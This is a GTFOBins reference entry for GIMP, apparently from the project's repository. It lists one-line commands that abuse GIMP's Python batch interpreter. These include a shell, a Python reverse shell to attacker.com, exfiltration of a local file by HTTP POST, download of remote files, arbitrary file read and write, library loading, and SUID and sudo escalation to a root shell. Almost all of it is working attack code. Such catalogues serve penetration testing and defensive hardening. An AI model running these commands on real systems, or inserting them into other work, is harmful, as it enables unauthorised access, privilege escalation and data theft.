GTFOBins.github.io/_gtfobins/gimp.md

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---
2019-01-22 21:21:20 +01:00
description: The binary hangs after executing the Python code and can be terminated pressing ``ctrl-c``.
functions:
shell:
- code: gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system("sh")'
reverse-shell:
- description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
export RPORT=12345
gimp -idf --batch-interpreter=python-fu-eval -b 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'
file-upload:
- description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.
code: |
export URL=http://attacker.com/
export LFILE=file_to_send
gimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))'
- description: Serve files in the local folder running an HTTP server.
code: |
export LPORT=8888
gimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()'
file-download:
- description: Fetch a remote file via HTTP GET request.
code: |
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
gimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])'
file-write:
- code: |
gimp -idf --batch-interpreter=python-fu-eval -b 'open("file_to_write", "wb").write("DATA")'
file-read:
- code: gimp -idf --batch-interpreter=python-fu-eval -b 'print(open("file_to_read").read())'
library-load:
- code: gimp -idf --batch-interpreter=python-fu-eval -b 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
suid:
- code: ./gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl("/bin/sh", "sh", "-p")'
sudo:
- code: sudo gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system("sh")'
---